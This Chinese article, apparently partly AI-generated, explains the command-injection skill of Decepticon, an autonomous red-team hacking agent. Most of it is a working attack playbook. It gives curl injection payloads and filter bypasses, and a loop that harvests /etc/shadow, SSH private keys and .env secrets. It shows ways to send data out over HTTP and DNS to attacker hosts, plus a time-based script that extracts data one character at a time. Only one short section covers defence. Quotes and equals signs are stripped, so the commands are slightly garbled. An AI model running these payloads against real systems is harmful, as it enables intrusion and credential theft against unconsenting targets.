【免费下载链接】DecepticonAutonomous Hacking Agent for Red Team项目地址https://gitcode.com/gh_mirrors/de/Decepticon点击查看免费下载导读本文以 Decepticon 开源红队 Agent 项目中的 command-injection 技能文档 为核心系统讲解 OS 命令注入从探测、注入操作符选型、过滤绕过到 RCE 确认后的敏感文件收割与盲注外带Blind Exfiltration的完整链路。Decepticon 将该技能注册为 MITRE ATTCK T1059Command and Scripting Interpreter攻击面由 Exploit Agent 通过load_skill按需加载是 Web 攻击子技能体系中面向ping/exec/subprocess类功能的专用作战手册。读完本文你将掌握一套可直接落地的命令注入实战流程以及它与仓库内置载荷库、上下文预算机制之间的协同方式。一、技能定位Decepticon 技能体系中的一枚弹药卡在 Decepticon 的技能目录中command-injection/SKILL.md 是一份典型的单技术子技能sub-skill。它的 frontmatter 定义了 Agent 路由和触发所需的全部元信息字段值作用nameexploit-command-injection技能唯一标识subdomainweb-exploitation归类于 Web 攻击域mitre_attackT1059映射到 MITRE ATTCK 命令与脚本解释器技术when_to_usecommand injection, os command, cmdi, rce command, shell injection, system command, exec, popen, subprocess, backtick injection, semicolon injection, pipe injection, ping command, os.system, shellTrue, eval, passthru触发关键词用于客观目标与技能的语义匹配1.1 由路由技能分发按需加载在 Decepticon 中Web 攻击域由一个路由技能routing skill统一入口web/SKILL.md 只负责判定攻击类型不承载具体利用过程。其决策流中明确写着Has ping/exec functionality → Try command-injection.md并在子技能路由表中将 command-injection 描述为OS command injection, blind/OOB, filter bypass适用场景为System commands, ping/traceroute, exec, subprocess对应加载路径load_skill(/skills/standard/exploit/web/command-injection/SKILL.md)。路由技能还给出了一条快速探测命令# Command Injection — command chaining curl -s https://TARGET/ping?host127.0.0.1;id | grep uid这条探测的思路与本文核心文档的 Detection 章节一脉相承先用最简单的命令链;id验证命令是否拼接进入系统 shell。1.2 加载协议与 SKILL-FIRST 规则从源码看Decepticon 通过定制的 SkillsMiddleware 取代了通用的技能系统提示向 Agent 注入以下核心规则每个/skills/*文件必须通过load_skill(slug-or-path)读取禁止用read_file或bash cat绕过/skills/由进程内 FilesystemBackend 提供不经过沙箱SKILL-FIRST RULE关键当任务命中子技能触发词时必须先加载技能再行动凭记忆操作而跳过专用技能被视为严重失败技能按阶段subdomain分组展示MITRE ATTCK ID 内联在目录条目中使 Agent 在技能目录层面即具备 ATTCK 感知。这意味着command-injection/SKILL.md 不是一篇给人阅读的参考文档而是会被完整注入 Agent 上下文的作战指令文档末尾反复强调的单次调用不要逐路径逐个 curl等纪律性条款本质是上下文预算管理规则在技能层的延伸。二、探测阶段六种注入操作符的一线验证技能文档的 Detection 章节要求对同一注入点一次性打出六种探针分别对应不同的 shell 解析行为# Basic tests curl -s https://TARGET/ping?host127.0.0.1;id -o cmdi_semicolon.txt curl -s https://TARGET/ping?host127.0.0.1|id -o cmdi_pipe.txt curl -s https://TARGET/ping?host127.0.0.1$(id) -o cmdi_subshell.txt curl -s https://TARGET/ping?host127.0.0.1id -o cmdi_backtick.txt curl -s https://TARGET/ping?host127.0.0.1%0aid -o cmdi_newline.txt各探针的命中语义如下;id分号顺序执行——验证是否存在独立的命令拼接最常见于os.system、shellTrue、child_process.exec类 sink|id管道符——即使应用只取命令末尾输出也能把id的输出注入响应流$(id)与id命令替换——适用于参数值被包裹在引号或模板字符串里的场景如ping $host、ping host%0aidURL 编码换行符——绕过那些只对;/|做黑名单的应用换行在 shell 中同样是语句分隔符。关于探测结果的处理技能文档与 Decepticon 的系统提示规则一致每个探针的输出落盘到独立文件-o cmdi_*.txt而不是内联打印。这一纪律源于 exploit.md 系统提示 中对上下文预算的硬约束超过 2KB 的内联输出会触发 SummarizationMiddleware 的上下文压缩compaction压缩本身昂贵且会打断攻击进度。因此输出落盘 后续 grep/head 提取是 Decepticon Agent 全链路的标准作业方式。2.1 盲注探测两类无回显判定手段当命令输出不回显到 HTTP 响应时技能文档给出两种盲注判定时间盲注time-based——注入sleep并测量响应耗时curl -s https://TARGET/ping?host127.0.0.1;sleep5 --max-time 10 -w \nTime: %{time_total}s\n--max-time 10保证探测不会无限挂起%{time_total}输出总耗时用于与基线对比下文 2.3 的时间型 oracle 会复用这一测量技巧。OOB 回调out-of-band——让注入命令主动外联到攻击者可控的CALLBACK地址curl -s https://TARGET/ping?host127.0.0.1;curlhttp://CALLBACK/cmdi curl -s https://TARGET/ping?host127.0.0.1;nslookupCALLBACKcurl回调走 HTTP、nslookup回调走 DNS二者互补HTTP 回调能携带更多数据但可能被出网策略拦截DNS 回调在只能解析、禁止出站 HTTP 的环境中仍然可用。三、注入操作符速查表行为与典型载荷技能文档以表格形式固化了一张操作符速查表这是后续所有利用动作的语法字典OperatorBehaviorExample;Sequential execution; id\|Pipe output\| id\|\|Execute if first fails\|\| idExecute if first succeeds idCommand substitutionid$()Command substitution$(id)%0aNewline%0aid%0d%0aCRLF%0d%0aid实战选型要点结合注入点形态推断拼接在整条命令末尾;与最稳定。要求前置命令成功才执行若前置命令如真实的 ping大概率成功 id是低噪声选择值被双引号包裹优先id与$(id)命令替换在引号内依然生效黑名单过滤了;和|%0a换行与%0d%0aCRLF是新的语句分隔维度——很多 WAF 只检查一行内的字符||的语义陷阱它是前置命令失败才执行前置命令成功时注入的id不会执行因此|| id通常只在确定前置必然失败如故意注入错误参数时使用。在仓库内置载荷库中这些操作符被固化为可直接检索的载荷束。payloads.py 的cmdi分类下包含PayloadBundle(cmdi, Basic chain, ; id #), PayloadBundle(cmdi, IFS space bypass, ${IFS}cat${IFS}/etc/passwd), PayloadBundle(cmdi, Backtick subshell, $(curl attacker.com/whoami)), PayloadBundle( cmdi, Argument injection (-o), https://target/download?file-oProxyCommandcurl${IFS}attacker/x|sh${IFS}xy:z, ),其中Argument injection (-o)对应业界经典的 ssh-oProxyCommand参数注入技巧与 analyst/command-injection/SKILL.md 中的 bypass 清单相互印证。Agent 在执行利用前可调用 payload_search 工具按vuln_classcmdi或关键字即时拉取这批载荷无需联网。四、绕过技术空格、关键词与编码三重维度当基础探测命中但目标存在过滤WAF、黑名单、输入校验时技能文档提供了一套按绕过维度组织的 cookbook# Space bypass curl -s https://TARGET/ping?host127.0.0.1;cat${IFS}/etc/passwd curl -s https://TARGET/ping?host127.0.0.1;{cat,/etc/passwd} curl -s https://TARGET/ping?host127.0.0.1;cat%09/etc/passwd # tab # Keyword bypass (if cat is blocked) curl -s https://TARGET/ping?host127.0.0.1;c\at/etc/passwd # backslash curl -s https://TARGET/ping?host127.0.0.1;cat/etc/passwd # empty quotes curl -s https://TARGET/ping?host127.0.0.1;tac/etc/passwd # alternative command curl -s https://TARGET/ping?host127.0.0.1;head/etc/passwd # alternative command # Base64 encoded command curl -s https://TARGET/ping?host127.0.0.1;\$(echoaWQ|base64-d|bash)4.1 空格绕过三件套${IFS}变量替换IFSInternal Field Separator默认含空格cat${IFS}/etc/passwd不出现空格字符即可完成分词这也是载荷库中IFS space bypass载荷的来源大括号展开{cat,/etc/passwd}bash 大括号展开把逗号列表展开为带空格的命令行但原始 URL 中不含空格%09Tab 替代shell 将 Tab 视作与空格等价的分隔符URL 编码后的 Tab 通常能绕过去除空格类过滤器。4.2 关键词绕过以cat被禁为例反斜线c\atshell 中\是转义字符c\at被解析为cat但过滤规则匹配的是原始字符串空引号catshell 会拼接相邻字符串字面量cat等价于cat而空引号模式常常不在黑名单内同义命令tac/head不尝试混淆而是更换读取工具——tac反向输出、head取前几行同样能完成文件内容外带这类更换工具思路在 Decepticon 中被视为新的绕过类别而非同类别变体详见 4.4。4.3 Base64 全量编码curl -s https://TARGET/ping?host127.0.0.1;\$(echoaWQ|base64-d|bash)echo aWQ|base64 -d|bash把整条命令编码为无特殊字符的 Base64 再解码执行。注意外层用了\$()使子 shell 在服务端展开是 URL 中空格的编码。这种手法能一次绕过字母数字之外全拦截的极端过滤器。若服务端 Base64 工具不可用可换用十六进制编码xxd -r -p作为同类替代。4.4 绕过类别轮换纪律Payload PacingDecepticon 路由技能 web/SKILL.md 的 Payload Pacing 规则定义了跨技术通用的迭代纪律其中专门覆盖命令注入Blocked classNext class to try;cmdinjectionBacktick /$()subshell并且强调类别指绕过机制而非载荷字符串——alert(1)→alert(2)→confirm(1)这种只改表达式内容的属于同一类别。对应到命令注入连续 3 个空格绕过变体${IFS}、{a,b}、%09在同一端点全部失败后应立即切换到下一类别如编码绕过而不是继续在同一类别内迭代同一端点耗尽 3 个绕过类别后应判定该端点已加固写入exploit/PIVOT.md转向其他端点或漏洞类别。五、RCE 确认后的凭据/敏感文件收割技能文档在确认 RCE 后专门给出了一个单次调用敏感文件位置扫描流程并附了一条硬性规则Hard rule: Do NOT issue individual curl calls per candidate path — use the loop above. Separate calls waste bash budget and trigger compaction before extraction completes.# Single-call sensitive file location sweep for f in /etc/passwd /etc/shadow /root/.ssh/id_rsa /home/*/.ssh/id_rsa \ /var/www/html/.env /app/.env /app/config.py /app/settings.py \ /opt/app/config.json /tmp/secret.txt /root/secret.txt; do result$(curl -s http://TARGET/vuln?cmdcat$f 2/dev/null | head -5) [ -n $result ] echo $f echo $result done /tmp/rce_harvest.txt head -50 /tmp/rce_harvest.txt # Broad credential/secret file search curl -s http://TARGET/vuln?cmdfind/-typef\(-name*.env-o-nameconfig*-o-namesecret*-o-namecred*-o-nametoken*\)2/dev/null \ -o /tmp/find_secrets.txt head -20 /tmp/find_secrets.txt该流程有三个值得注意的设计候选路径收敛覆盖了/etc/passwd、/etc/shadow、各类.ssh/id_rsa、Web 应用常见配置.env、config.py、settings.py、config.json以及临时目录 secret 文件——这是 Web 应用与主机层面高价值目标的交集输出节流每个文件只取head -5避免单个大文件输出冲爆上下文全部结果重定向到/tmp/rce_harvest.txt后仅head -50展示摘要预算纪律把 N 次独立 HTTP 往返合并为一次 bash 循环对应 exploit.md 系统提示 中每次 bash 调用前自问输出是否可能超过 2KB的上下文预算规则——逐路径调用不仅浪费时间还会在收割完成前就触发 SummarizationMiddleware 压缩导致已提取结果被摘要化而丢失细节。定位到具体文件后文档要求回到第三节的操作符速查表选择合适的操作符如;cat/app/.env读取完整内容。广义的find扫描则用于兜底发现未预见的命名模式*env*、config*、secret*、cred*、token*。六、盲注外带Blind Exfiltration五种数据提取通道当命令输出不回显时技能文档给出五种由易到难、由需要条件到零依赖的外带方案6.1 写入 Web 可达路径curl -s https://TARGET/ping?host127.0.0.1;cat/.env/var/www/html/out.txt curl -s https://TARGET/out.txt # retrieve output前提是 Web 根目录可写。这是最简单直接的方案把盲注转回显注但依赖目标站点的文件系统权限布局。6.2/6.3 OOB HTTP 外带curl / wget# OOB HTTP exfiltration via curl (base64 to handle special chars) curl -s https://TARGET/ping?host127.0.0.1;curlhttp://CALLBACK/$(cat/.env|base64-w0) # OOB HTTP via wget curl -s https://TARGET/ping?host127.0.0.1;wget-q-O-http://CALLBACK/$(cat/.env|base64-w0)核心思路是把文件内容编入外联 URL 的路径段$(cat /.env|base64 -w0)用 Base64 编码规避换行与特殊字符对 URL 的破坏CALLBACK是攻击者监听服务器。curl 与 wget 互为备选——目标环境只装了其中一个时仍有可用通道。-w0表示不换行wget 无此选项则用tr -d \n等效。6.4 DNS 外带curl -s https://TARGET/ping?host127.0.0.1;nslookup$(cat/.env|cut-c1-50).attacker.comDNS 外带把数据放入子域名前缀攻击者在权威 DNS 服务器上记录查询即可。文档特别提醒DNS label 最长 63 字符因此用cut -c1-50截断前缀长内容需分片多次发送如每次取 50 字符并附带偏移。DNS 通道在 HTTP 出网被严格管控、但 DNS 解析未被拦截的内网/容器环境中尤其有效。6.5 时间盲注逐字符 oracle零 OOB 依赖# Replace /.env with the target file path from Credential/Secret Extraction sweep TARGET_FILE/.env curl -s https://TARGET/ping?host127.0.0.1;if[\\$(cut-c1${TARGET_FILE})\\s\];thensleep3;fi \ --max-time 10 -w \nTime: %{time_total}s\n这是无 OOB 基础设施时的最后手段利用if [ $(cut -c1 file) s ]; then sleep 3; fi构造时间侧信道——猜测的字符正确则响应延迟约 3 秒否则立即返回。cut -c1可取第 1 个字符--max-time 10防止超时误判。技能文档进一步给出了自动化逐字符提取脚本for i in $(seq 1 70); do for c in {A..Z} {a..z} {0..9} - _ ; do t$(curl -s -o /dev/null -w %{time_total} --max-time 6 \ https://TARGET/ping?host127.0.0.1;if[\\$(cut-c${i}${TARGET_FILE})\\${c}\];thensleep3;fi) if (( $(echo $t 2.5 | bc -l) )); then printf %s $c; break; fi done done echo脚本要点外层按位置i从 1 到 70 逐位猜测内层按字符集大小写字母、数字、-、_、、引号枚举判定阈值$t 2.5sleep 3的注入命中时总耗时必然显著高于正常响应--max-time 6保证单次探测有界命中后break进入下一位最终echo输出完整内容。字符集覆盖了典型 secret/token 的字符空间大小写、数字与常见分隔符bc -l用于浮点比较time_total是秒级浮点。此方法吞吐低文档建议只用于短 secret/token长文件应优先走 OOB 通道。七、外带通道选型决策综合技能文档的五种方案可以归纳出如下选型逻辑场景首选通道备选Web 根目录可写写入 Web 路径6.1OOB HTTP目标可发起 HTTP 出站OOB HTTP curl6.2wget6.3HTTP 出站被拦、DNS 可用DNS 外带6.4时间 oracle完全无 OOB 设施、数据短时间盲注 oracle6.5—核心原则是优先高带宽通道HTTP DNS 时间侧信道仅在环境约束下逐级降级时间 oracle 属于最终手段应严格控制使用范围短 secret以避免过高的请求量触发目标的速率限制。八、防御侧对照sink 审计与修复参考同仓库的分析师视角技能 analyst/command-injection/SKILL.md 从防御审计角度列出了各语言的高危/安全 API 对照表可作为利用侧文档的镜像参考LanguageDangerousSaferPythonos.system,subprocess.Popen(..., shellTrue),os.popen,commands.getoutputsubprocess.run([...], shellFalse)Nodechild_process.exec,execSyncchild_process.execFile,spawn(array args)Goexec.Command(sh,-c,user)exec.Command(bin, arg1, arg2)with arrayJavaRuntime.exec(String)Runtime.exec(String[]),ProcessBuilder([...])Rubybackticks,system(str),%x{...}Kernel.system(bin, *args),Open3.capture2ePHPshell_exec,exec,system, backticks,passthruescapeshellarg explicit execve该文档还强调一个关键陷阱即便使用安全 API只要二进制路径由用户控制如exec.Command(userBin, --version)仍然可利用——这正对应技能文档第三节操作符速查表中命令替换类载荷id、$(id)的应用场景。此外该分析师文档给出了命令注入的默认 CVSS 评估未认证的盲注 OOB RCEAV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H9.8 分低权限认证后的 RCEAV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H8.8 分涉及容器逃逸scope 变化的 RCEAV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H10.0 分。这些评分基准可以在 Exploit Agent 确认 RCE 后为后续的发现分级与报告环节提供量化依据。九、本文方法论与 Decepticon 工作流的衔接这份技能文档并非孤立的参考它与 Decepticon 的 Exploit Agent 工作流agents/prompts/workflows/exploit.md存在明确的纪律衔接Discovery Gate路由到任何 Web 子技能前必须完成站点根抓取与常见端点探测robots.txt、swagger.json、api/docs等确认注入点形态后再加载 command-injection 技能Confirm-gate进入大规模迭代前先用最小请求验证注入成立对应本文 Detection 章节的六探针上下文预算本文的单次调用 sweep输出落盘 head 节流合并循环全部服务于避免 SummarizationMiddleware 压缩打断利用流程这一总目标Pivot 纪律同一端点三种绕过类别耗尽后写入exploit/PIVOT.md转向其他攻击面避免无限迭代。十、深入仓库继续探索的路径如需进一步研究本技能在 Decepticon 中的实现与联动可按以下路径深入源码技能本体command-injection/SKILL.md——本文讲解的完整作战手册Web 路由技能web/SKILL.md——子技能路由表、快速探测与 Payload Pacing 规则技能加载中间件middleware/skills.py——load_skill协议、SKILL-FIRST 规则与技能目录注入机制内置载荷库tools/references/payloads.py——cmdi分类载荷束基础链、IFS 空格绕过、反引号子 shell、参数注入以及 payload_search 工具payload_search(vuln_classcmdi)分析师视角与审计对照analyst/command-injection/SKILL.md——危险 sink 表、审计 grep 模板、CVSS 基准上下文预算纪律agents/prompts/standard/exploit.md 与 tools/bash/prompt.py——解释技能文档中硬性规则的底层机制。综上Decepticon 的命令注入技能文档给出了一套从六探针确认注入点到操作符选型再到绕过类别轮换最后到敏感文件收割与五通道外带的完整可执行链路其与载荷库、上下文预算机制、ATTCK 映射和工作流纪律的深度耦合使它既是面向 Agent 的作战指令也是安全研究者理解命令注入现代利用方法论的优质参考。赞分享【免费下载链接】DecepticonAutonomous Hacking Agent for Red Team项目地址https://gitcode.com/gh_mirrors/de/Decepticon点击查看免费下载相关推荐命令注入Command Injection攻防全解析从危险函数到绕过与防御命令注入Command Injection攻防全解析从危险函数到绕过与防御 本指南基于 Learn Web Hacking 仓库中的 命令注入笔记 htt文档网络安全教程Commix 实战指南自动化 OS 命令注入检测与利用工具四技术注入、--eval 代码注入与 WAF 绕过Commix 实战指南自动化 OS 命令注入检测与利用工具四技术注入、 eval 代码注入与 WAF 绕过 Commix 是一款开源的自动化渗透测试工具网络安全应用安全渗透测试PayloadsAllTheThings 之 NoSQL 注入实战指南MongoDB 运算符注入、认证绕过与盲注利用PayloadsAllTheThings 之 NoSQL 注入实战指南MongoDB 运算符注入、认证绕过与盲注利用 NoSQL 数据库在关系约束与一致性检查网络安全应用安全渗透测试创作声明:本文部分内容由AI辅助生成(AIGC),仅供参考